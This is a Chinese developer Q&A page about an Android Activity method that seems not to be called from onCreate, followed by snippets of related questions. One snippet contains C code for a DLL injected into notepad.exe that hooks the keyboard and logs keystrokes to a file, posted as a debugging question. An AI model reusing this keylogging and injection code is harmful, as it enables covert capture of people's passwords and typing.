为什么一个写在activity的Oncreate()里面的方法不调用?!

求助啊 完全不懂啊 就是那个getClothprice()方法 搞来搞去不调用啊 后面的Init()方法反而是调用的
OrderService orderService = new OrderService();
SharedPreferences userinfo;
JSONArray clothArray;
int depar_id;
int[] pri;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_ordering);
    Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
    setSupportActionBar(toolbar);
    pri = new int[10];
    InitUserinfo();
    getClothprice();
    Init();
}

    private void getClothprice() {
    new Thread(new Runnable() {
        @Override
        public void run() {
            try {
                clothArray=orderService.getClothprice(1);
                if(clothArray!=null){
                    handler.sendEmptyMessage(0);
                }else{
                    //Toast.makeText(getApplicationContext(),"未连接到网络",Toast.LENGTH_SHORT).show();
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }).start();
}

2个回答

启动一个线程,执行getClothprice,获得衣服的价格。
关键看orderService里面做了什么。

你下断点看看是不是报了异常或者走到了else分支。

u014734740
小风疏雨 已经解决啦,是OrderService里面的一个错误,总之多谢了~
3 年多之前 回复

是不是前面有问题,跳过去le

u014734740
小风疏雨 打断点终于排查出错误了,总之多谢了~
3 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
为什么写在Activity的Oncreate()中的一个方法不被调用?!
就是那个getClothprice()方法死活不调用 求大神解释 @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_ordering);
在BroadcastReceiver里调用Activity里面的方法
我在BroadcastReceiver的onReceive()里面,将context转化成一个具体的Activity后(MyActivity ma =(MyActivity)context; ),准备调用该Activity里面的一个方法,但在将context转化的时候报错了,报ClassCastException错误。以前另外一个项目我转化成service的时候可以啊,现在怎么报错了呢?
Activity 调用两次onCreate()方法的问题
在日志中debug的时候发现每次Activity加载都要调用两次onCreate()方法,百思不得其解,后来百度以后发现 是横屏竖屏的切换造成的,默认会重新调用onCreate()方法,可以进行如下设置: <activity             android:configChanges="orientation|keyboardHidden"              ......
activity调用onCreate()方法后没有调用onStart()方法
首先写了个空白的activity来进行测试:package com.example.mytestdemo; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; public class TestOnCreateActivity extends Ap...
非Activity类里面调用Activity里面的方法
public class AActivity extends Activity ·rn  //声明一个Bclass对象rn  public Bclass bClass = new Bclass();rn rn public AActivity() rn bClass.aActivity = this;rn rn rn public int methoda() rn //do somethingrn rnrnrnpublic class Bclass rn public static AActivity aActivity = null;rn rn //我想在这里面这样用rn aActivity.methoda();rnrnrnrnrn如上代码所示,我想在class里面调用Activity里面的方法,要实现跟在activity里面直接调用一样的结果。求指教(新手,还请详细一点)
Android的Activity什么时候会调用onCreate()而不调用onStart()?
Android的Activity什么时候会调用onCreate()而不调用onStart()?这是一道面试题。目前网上有关资料不多,就只有一篇知乎文章: https://www.zhihu.com/question/49563455/answer/116926574
为什么animationDrawable.start();不能在onCreate 里执行
或onStart或onResume也不行。rn求解。
service的onCreate方法,为什么被调用两次?
写了个简单的Service, 如下rnpublic class EmptyService extends Service rnrn private static final String TAG = "xxx";rnrn @Overridern public IBinder onBind(Intent intent) rn return null;rn rnrn @Overridern public void onCreate() rn Log.v(TAG, "onCreate");rn rnrn @Overridern public void onDestroy() rn Log.v(TAG, "onDestroy");rn rnrnrn启动该Service时, Log显示onCreate被调用了两次, 有谁知道为什么?
Action中为什么不调用Service里面的方法?
[code=java]rnpublic class LoginAction extends ActionSupport implements ModelDrivenrn rn private static final long serialVersionUID = 1L;rn rn private UserService userServer;rn rn public UserService getUserServer() rn return userServer;rn rn public void setUserServer(UserService userServer) rn this.userServer = userServer;rn rn private User user =new User();rn @Overridern public User getModel() rn // TODO Auto-generated method stubrn return user;rn rn /**rn * 登录rn * @returnrn * @throws Exceptionrn */rn public String login() throws Exceptionrn ActionContext con =ActionContext.getContext();rn User u = new User();rn u = userServer.login(user);rn if(user!=null)rn con.getSession().put("user", user);rn return SUCCESS;rn elsern con.getSession().put("msg","用户名或密码不正确.");rn return INPUT;rn rn rnrn[/code]rn执行到u = userServer.login(user);一句 就报空指针.没分了。可以下载资源
Activity onCreate 中子线程调用控件不抛异常
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); final TextView textView = (TextView) findViewByI
Android屏幕旋转时,设置Activity不重新调用onCreate
我们都知道当手机转屏时,Activity会走一遍onDestroy和onCreate方法 如果想设置不去重新Destroy 和Create 只需要在AndroidManifest 对应的Activity中加入android:configChanges=”orientation|keyboardHidden”注意:如果API等级等于或高于13,还需要设置screenSize,因为screenSize
怎么让activity不重复执行onCreate方法
rtrnrn我用了ActivityGroup来添加内容activity的view。rnrn内容activity的onCreate方法每次都执行。rnrn内容activity的finish()方法我没有调用啊。rnrn不知道为什么?rnrn有人讲rnrn Intent paramIntent = new Intent();rn paramIntent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT); rn paramIntent.setClass(this, class1);rnrn这样可以重启已有的activity,但是他还是执行了onCreate方法。望有解决办法。。
Android源码解析:Activity的onCreate()方法是如何被调用的
带着问题看源码 上一篇文章我们分析了一个应用程序启动会调用ActivityThread的main方法,并最后创建Application对象执行其onCreate()方法,那我们所熟悉的Activity的onCreate()方法又是如何被调用的,带着这个问题,我们去到源码中寻找答案. 1.当我们在Launcher界面点击应用图标时,会调用桌面程序的点击事件方法 在线查看源码:https://an...
Activity的onCreate中无法调用AnimationDrawable的Draw方法
如题,我想做个应用有个开始的动画,怎么才能自动触发这个动画呢。
简述Android中Activity的启动(onCreate方法的调用)
先写在前边,这是第一次写博客写过Java程序的人都知道,每一个Java都有一个main方法作为程序的入口,所以在Android应用程序上也存在一个这样的main方法,一个Android的应用程序都有一个MainActiviy,也许很多人认为主Activity就是一个程序的入口,但实际上真正的入口在AcivityThread类中。本篇不会详细介绍整个Activity启动过程中的详细函数方法或者其逻辑,
onCreate()方法实现Activity自动跳转的疑惑
AnimationDrawable.start不能直接写在onCreate, onStart,onResume里面,都是无效的,无法启动动画,只能写在比如事件监听当中,网上的资料说是因为AnimationDrawable并未完全关联到Window,在onCreate()方法中,View并未完成显示。但是Activity跳转就可以写在onCreate()方法中,如:rn[code=java]rnIntent it = new Intent();rnit.setClass(Activity1.this, Activity2.class);rnstartActivity(it);rn[/code]rn这个代码写在onCreate()方法中,程序运行后可以自动执行跳转。rn到这里,就觉得很疑惑,不是说onCreate()方法中,View并未完成显示,那怎么可以跳转到Activity2呢?Activity2里面的view组件不是还未完成显示吗?rn新人不材,请大家指教!
关于activity不执行oncreate方法的问题
今天突然遇到了这个问题,顺手记一下。 我这里是因为重新oncreate方法的时候,没注意到参数,因为as自动补全,没看清楚后面的参数。 这俩是不一样的,protected 修饰的,只有一个参数的才是我要的。
关于Activity的onCreate()和onActicityResult()方法的疑问
请问为什么重写onCreate()时要加上super.onCreate(),而重写onActicityResult()不加也行。我发现很多方法都是这样,这是为什么?还有我在重写的时候怎么知道要不要加这句代码?谢谢
Activity中的onCreate方法不执行问题
Activity中的onCreate方法不执行
导致Activity重新执行onCreate方法
主页面加载数据流显示,有一个按钮跳转到录制页面,录制后再回来导致主页面重新执行(一些手机)onCreate方法,这是为什么
关于Activity的onCreate方法是如何被执行的
首先要明确,一个应用真正的入口是ActivityThread的main方法,其中关键的代码如下public static void main(String[] args) { //......省略部分无关代码...... ActivityThread thread = new ActivityThread(); thread.attach(false); //......省...
系列笔记4、工厂方法模式 -Activity的onCreate方法
工厂模式比较好理解。uml图如下: 接下来主要要讲的是onCreate方法 一个Activity的onCreate方法相当于一个工厂方法,那么这个onCreate方法是怎么启动的呢? 对于一个应用程序来说,它的真正入口是ActivityThread的main方法。 ActivityThread.java pa
一个写在dll里面的钩子的问题。
我运用远程注入的方法,假设在进程 “notepad.exe”中注入 一个dll。rn我在dll 是用win32 写的。 功能是: 挂了一个钩子,可以捕获键盘信息,然后把信息写入一个文件夹中!rn问题来了: 我现在是能注入到这个进程之中, 360防护也提示有钩子安装,但是我允许安装钩子之后,然后就没反应了!rn 好像都没有进入到钩子的回调函数, 我在回调函数里面放了一个Messagebox 都没有效果。 这到底是为什么?rn 我这个钩子是能用的,我是从其他的程序上面差不多移植过来的。 求做过的朋友指导一下!rn 程序和系统都是x64。rn代码如下如下:rnBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)rnrn switch(fdwReason)rn rn case DLL_PROCESS_ATTACH:rn rn MessageBox( NULL, ("DLL已进入目标进程。"), ("信息"), MB_ICONINFORMATION ); rn start();rn rn rn break;rn case DLL_PROCESS_DETACH:rn rn rn stop();rn MessageBox( NULL, ("DLL已从目标进程卸载。"), ("信息"), MB_ICONINFORMATION );rn rn break;rn case DLL_THREAD_ATTACH:rn rn break;rn case DLL_THREAD_DETACH:rn rn break;rn rn return TRUE;rnrnrn#pragma data_seg("ShareData")rnHHOOK hKeyBoardHook=NULL; //keyboar hookrnHINSTANCE glhInstance=NULL; //globle instancernHWND hOutPutWnd=NULL; //Display Pass Wndrn#pragma data_seg()rnrnvoid SaveLog(char*c)rnrn //name.Format(_T("c:\\Key_%d_%d.log"),tm.GetMonth(),tm.GetDay());rn FILE *file;rn file=fopen("c:\\key.log","ab+");rn rnrn if(file==NULL)rn rn printf("错误!");rnrn exit(1); //中止程序rn rn //file.SeekToEnd();rn fseek(file,0,SEEK_END);rn //file.Write(c,1);rn fwrite(c,1,1,file);rn fclose(file);rnrnLRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)rn rnrnrnrn LRESULT Result=CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);rn rn rn MessageBox( NULL,"我现在在回调函数中",("信息"), MB_ICONINFORMATION); rnrn if(nCode==HC_ACTION) rn rnrn if((lParam&0xc000ffff)==1) //keydown事件发生时 rn rn /*char key[20]; rn GetKeyNameText(lParam,key,20);*/rn char *sName="";rnrnrn BOOL b_sft=::GetAsyncKeyState (VK_SHIFT)>>((sizeof(short)*8)-1);rnrn if(b_sft)rnrn rnrn switch(wParam)rnrn rnrn case '1':sName="!"; break;rnrn case '2':sName="@"; break;rnrn case '3':sName = "#";break;rnrn case '4':sName = "$";break;rnrn case '5':sName = "%";break;rnrn case '6':sName = "^";break;rnrn case '7':sName = "&";break;rnrn case '8':sName = "*";break;rnrn case '9':sName = "(";break;rnrn case '0':sName = ")";break;rnrn case 'A':sName = "A";break;rnrn case 'B':sName = "B";break;rnrn case 'C':sName = "C";break;rnrn case 'D':sName = "D";break;rnrn case 'E':sName = "E";break;rnrn case 'F':sName = "F";break;rnrn case 'G':sName = "G";break;rnrn case 'H':sName = "H";break;rnrn case 'I':sName = "I";break;rnrn case 'J':sName = "J";break;rnrn case 'K':sName = "K";break;rnrn case 'L':sName = "L";break;rnrn case 'M':sName = "M";break;rnrn case 'N':sName = "N";break;rnrn case 'O':sName = "O";break;rnrn case 'P':sName = "P";break;rnrn case 'Q':sName = "Q";break;rnrn case 'R':sName = "R";break;rnrn case 'S':sName = "S";break;rnrn case 'T':sName = "T";break;rnrn case 'U':sName = "U";break;rnrn case 'V':sName = "V";break;rnrn case 'W':sName = "W";break;rnrn case 'X':sName = "X";break;rnrn case 'Y':sName = "Y";break;rnrn case 'Z':sName = "Z";break;rn rn rn //case '`':sName ="~";break;rnrn rnrn rnrn elsernrn rnrn switch(wParam)rnrn rnrn /*0~9*/rnrn case '1': sName="1"; break;rnrn case '2':sName = "2";break;rnrn case '3':sName = "3";break;rnrn case '4':sName = "4";break;rnrn case '5':sName = "5";break;rnrn case '6':sName = "6";break;rnrn case '7':sName = "7";break;rnrn case '8':sName = "8";break;rnrn case '9':sName = "9";break;rnrn case '0':sName = "0";break;rnrn /*A~Z*/rnrn case 'A':sName = "a";break;rnrn case 'B':sName = "b";break;rnrn case 'C':sName = "c";break;rnrn case 'D':sName = "d";break;rnrn case 'E':sName = "e";break;rnrn case 'F':sName = "f";break;rnrn case 'G':sName = "g";break;rnrn case 'H':sName = "h";break;rnrn case 'I':sName = "i";break;rnrn case 'J':sName = "j";break;rnrn case 'K':sName = "k";break;rnrn case 'L':sName = "l";break;rnrn case 'M':sName = "m";break;rnrn case 'N':sName = "n";break;rnrn case 'O':sName = "o";break;rnrn case 'P':sName = "p";break;rnrn case 'Q':sName = "q";break;rnrn case 'R':sName = "r";break;rnrn case 'S':sName = "s";break;rnrn case 'T':sName = "t";break;rnrn case 'U':sName = "u";break;rnrn case 'V':sName = "v";break;rnrn case 'W':sName = "w";break;rnrn case 'X':sName = "x";break;rnrn case 'Y':sName = "y";break;rnrn case 'Z':sName = "z";break;rnrn rnrn rnrn switch(wParam) //数字键rnrn rnrn case VK_BACK:sName="~"; break;rnrn case VK_NUMPAD1:sName="1";break;rnrn case VK_NUMPAD3:sName = "3";break;rnrn case VK_NUMPAD4:sName = "4";break;rnrn case VK_NUMPAD5:sName = "5";break;rnrn case VK_NUMPAD6:sName = "6";break;rnrn case VK_NUMPAD7:sName = "7";break;rnrn case VK_NUMPAD8:sName = "8";break;rnrn case VK_NUMPAD9:sName = "9";break;rnrn case VK_NUMPAD0:sName = "0";break;rnrn case VK_MULTIPLY:sName = "*";break;rnrnrn case VK_ADD: sName="+";break;rnrn case VK_SUBTRACT: sName="-"; break;rnrn case VK_DECIMAL: sName="."; break;rnrn case VK_DIVIDE: sName="/"; break;rnrn rn SaveLog(sName);rn rn rn return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);rnrnrnrnvoid stop()rnrn UnhookWindowsHookEx(hKeyBoardHook);rnrnvoid start()rnrn rn hKeyBoardHook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHookrn ,::GetModuleHandleA("DLLHOOK.dll"),0/*::GetCurrentThreadId()*/);rn rnrnrn if(hKeyBoardHook==NULL)rn rn MessageBox( NULL, ("钩子安装失败。"), ("信息"), MB_ICONINFORMATION );rn rn rn elsern rn MessageBox( NULL, ("钩子安装成功。"), ("信息"), MB_ICONINFORMATION );rn rn
为什么oncreate方法居然会不执行
[img=https://img-bbs.csdn.net/upload/201610/22/1477112964_619694.png][/img]rn如图,数据库操作类在用户注册Activity内被初始化,onCreate方法内执行建表语句“create table user if not exist...”,可是注册代码抛出异常“no such table user”,确定表名没写错之后,我在onCreate方法内添加一句system.out()发现此句并未执行。rn求助何因,onCreate里面代码并未出错,百思不得其解。下面贴出代码[code=java]@Overridern public void onCreate(SQLiteDatabase db) rn // TODO Auto-generated method stubrnrn String createChanelItem = "create table if not exists "rn + DataBaseHelper.ChanelItemTb + " (" + DataBaseHelper._IDrn + " INTEGER PRIMARY KEY AUTOINCREMENT," + DataBaseHelper.IDrn + " INTEGER , " + DataBaseHelper.Name + " TEXT ,"rn + DataBaseHelper.Selected + " TEXT)";rnrn String createCollect = "create table if not exists "rn + DataBaseHelper.collectTb + " (" + DataBaseHelper._IDrn + " INTEGER PRIMARY KEY AUTOINCREMENT,"rn + DataBaseHelper.collectType + " TEXT ,"rn + DataBaseHelper.collectTitle + " TEXT ,"rn + DataBaseHelper.collectUrl + " TEXT ,"rn + DataBaseHelper.collectDesc + " TEXT ,"rn + DataBaseHelper.collectImgUrl + " TEXT,"rn + DataBaseHelper.collectId + " TEXT,"rn + DataBaseHelper.collectUserId + " TEXT,"rn + DataBaseHelper.collectPic1 + " TEXT,"rn + DataBaseHelper.collectPic2 + " TEXT,"rn + DataBaseHelper.collectPic3 + " TEXT)";rn String sql="create table if not exists user(username varchar(20)primary key,password varchar(20),age integer,sex varchar(6))";rn rn db.execSQL(createChanelItem);rn db.execSQL(createCollect);rn db.execSQL(sql);rn System.out.println("表弄好了:"+sql);rn [/code]
android 为什么不调用onDestroy方法关闭activity
前天有个同学突然咨询我,说关闭android的activity,为什么不直接调用ondestroy方法,而是要调用activity.finish()。 我这里总结下我的理解: 1.我们知道onDestroy方法是activity的其中一个生命周期,是在activity被finish、系统将之移除出activity的task栈之后,AMS会回调当前activity页面的一个方法。换言之,也就是说
一个Activity调用了两次OnCreate?
rn我的一个Activity已启动发生了rn rnCreate->Start->Resume->Pause->Stop->Destroy rnrn然后 Create->Start->Resumernrn这个什么情况。。。。rnrn为什么会在启动后消灭这个Activity然后再次启动。。。。。rnrn我的这个Activity中只有一个TextView. 一个自定义的View,画图用的。 还有一个ListView.. rnrn而且我一锁屏也会先销毁这个Activity,然后重新开始。rnrn谁能解释一下啊。。。rnrn
为什么cellForRowAtIndexPath方法不调用?
cellForRowAtIndexPath不调用
在启动默认的Activity MainActivity里面的onCreate(Bundle savedInstanceState)方法里面,能否立刻进入另一个A
在启动默认的Activity MainActivity里面的onCreate(Bundle savedInstanceState)方法里面,能否立刻进入另一个Activity里面?我运行这个程序总是出错。后面是我的rn如下面代码:rnpackage com.aide.trainer.myapp;rnrnimport android.app.*;rnimport android.os.*;rnimport android.os.Bundle;rnimport android.widget.TextView;rnrnpublic class MainActivity extends Activityrnrn private TextView textview;rn /** Called when the activity is first created. */rn @Overridern public void onCreate(Bundle savedInstanceState)rn rn super.onCreate(savedInstanceState);rn rn // Set main.xml as user interface layoutrn setContentView(R.layout.main);rn Intent i = new Intent(MainActivity.this, viewcontentActivity.class);rnstartActivity(i);rn rnrn------------------------rnAndroidManifest.xml内容:rnrnrnrnrn rnrn rn rn rn rn rn rnrn rn rnrnrnrn rn rn rn rnrnrnrn rnrnrnrnrnrnrnrn
销毁activity,为什么子线程还可以调用activity里的成员
代码如下:rn我这个MainActivity(MA)在onCreate()里启动一个timer,计时2s后在屏幕输出一个Toast("nihao!")并启动一个SecondActivity并销毁MA,这个timer每两秒循环一次。由于MA被销毁了,但是timer没有stop,因此timer成了一个野线程,仍然重复做着task。rn我之前以为,既然MA被毁,那timer还调用MA的方法必然引起程序崩掉。可是运行显示,MA销毁后,timer仍然每2s在屏幕输出一个Toast,不断启动新的SecondActivity。难道MA没有被销毁?rnrn有了上述结果,我又做了个试验,把timer中启动SecondActivity的语句去掉。我以为MA两秒后销毁,但是timer还在,应该还会不断输出Toast。事实证明我又错了。。。MA销毁后,就不再输出Toast了。为什么这把MA就被销毁了?rnrn求各位解答一下!rn[code=java]rnpackage com.onsaveinstancetest;rnrnimport java.util.Timer;rnimport java.util.TimerTask;rnrnimport android.os.Bundle;rnimport android.os.Handler;rnimport android.os.Message;rnimport android.app.Activity;rnimport android.content.Intent;rnimport android.view.Menu;rnimport android.widget.Toast;rnrnpublic class MainActivity extends Activity rnrn private String s = "nihao";rn private MyHandler handler = new MyHandler();rn rn @Overridern protected void onCreate(Bundle savedInstanceState) rn super.onCreate(savedInstanceState);rn setContentView(R.layout.activity_main);rn rn Timer timer = new Timer();rn timer.schedule(new TimerTask()rn @Overridern public void run() rn // TODO Auto-generated method stubrn handler.sendEmptyMessage(0);rn (MainActivity.this).finish();rn Intent intent = new Intent(MainActivity.this, Second.class);rn (MainActivity.this).startActivity(intent);rn rn , 2000);rn rn rn class MyHandler extends Handler rnrn @Overridern public void handleMessage(Message msg) rn // TODO Auto-generated method stubrn super.handleMessage(msg);rn Toast.makeText(MainActivity.this, s, 2500).show();rn rn rn rn rn @Overridern public boolean onCreateOptionsMenu(Menu menu) rn // Inflate the menu; this adds items to the action bar if it is present.rn getMenuInflater().inflate(R.menu.main, menu);rn return true;rn rnrn @Overridern protected void onDestroy() rn // TODO Auto-generated method stubrn super.onDestroy();rn Toast.makeText(this, "1.onDestroy", 2500).show();rn rnrn @Overridern protected void onPause() rn // TODO Auto-generated method stubrn super.onPause();rn Toast.makeText(this, "1.onPause", 2500).show();rn rnrn @Overridern protected void onStop() rn // TODO Auto-generated method stubrn super.onStop();rn Toast.makeText(this, "1.onStop", 2500).show();rn rnrn[/code]
Activity A 调用Activity B 里的方法探索
Activity A 调用Activity B 里的方法探索
在一个activity里关闭另外一个activity的方法
在A activity里面,静态实例一个activity对象, 在B activity里面 A.instance.finish();
为什么我在 view 的 OnCreate 里建立的 MyButton 不显示?
MyButton 继承 CButton rnrnMyButton mbtn;rn mbtn.Create("发牌",BS_DEFPUSHBUTTON | WS_VISIBLE | WS_CHILD ,CRect(0,0,100,100),this,123);rnrn为什么不显示?
Activity调用Service的方法
一般来说,Activity调用Service 分为两种:进程内调用和进程间调用。进程内调用时比较常用的一种,在进程内调用中我们常常使用的是bindService来启动Service(关于这种启动方式的好处,才疏学浅就不再这卖弄了)。下面就这两种调用方式分别进行简单介绍:1.通过bindService来启动Service,并调用Service中的方法。1.一个简单的Service:package gu
Android屏幕切换,改变布局,不调用onCreate方法
三个步骤:
怎样在activity的oncreate中调整布局
rn我自定义了一个view,需要使它的宽度是屏幕宽度减去一个按钮的宽度rnrn怎样在activity的oncreate中调整xml中已经定义的view的布局尺寸
Activity的实例 onCreate()函数 构造方法
我们知道,一个类的实例创建,都是通过new 一个构造函数。然而,我们通常见到的只是onCreate()方法。构造函数是哪里体现的呢?其实呢,android中activity的创建都是通类反射的方法创建的,当打开activity的时候,android系统框架根据配置文件找到相应的acitivity对应的类,通过activity的默认构造函数创建了activity的实例,然后创建应用的上下文环境,通过w
Activity OnCreate执行两次的原因!
是因为我设置是它横屏: setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); 把这句代码去掉就不会了。
ATL com组件的OnCreate不会被调用
ATL写的符合组件中用IE调用组件可以执行OnCreate,但是直接用MFC代码插入COM时,不会调用com组件OnCreate,这是什么原因啊,构造函数里是m_bWindowOnly = TRUE;
OCX控件嵌入网页刷新不调用OnCreate
我创建了一个OCX控件,第一次都有调用OnCreate函数,网页上打开也显示正常,但是我点击刷新或则按F5时,他很经常就卡住了。rnrn我调试了下,发现刷新网页的时候,有的时候它会正常重新调用用控件的OnCreate()函数,但有的时候就是不调用,这是为啥。。。。rn我自己也写了个接口给网页传参数,也是在刷新的时候有的时候有调用,有的时候没有被调用,第一调用都没有错。rnrn请问下有没有谁遇到跟我一样的问题,什么情况会导致网页重新刷新时不调用控件的OnCreate()函数rnrnhtm文件如下:rnrnrn My Testrnrnrnrnrn rn rnrn rnrnrn
如何从一个activity中启动另外一个activity里面的方法
定义了两个layout,每个layout对应一个activity.CS 文件rnrn将其中的一个layoutA作为控件加载到另外一个layoutB的一个view里面rnrn这个过程好像没有没有激活被装载的layoutA对应的activityA 的oncreate事件rnrn问题是我希望在容器layoutB对应的activityB文件中调用被装载的activityA中的一个public 方法, rn必须这么做,因为被装载的layoutA类似于一个多地方使用的控件rnrn在vs中很简单的一个内容被xamarin折腾死了rnrnrn谢谢
相关热词 c#入门推荐书 c# 解码海康数据流 c# xml的遍历循环 c# 取 查看源码没有的 c#解决高并发 委托 c#日期转化为字符串 c# 显示问号 c# 字典对象池 c#5.0 安装程序 c# 分页算法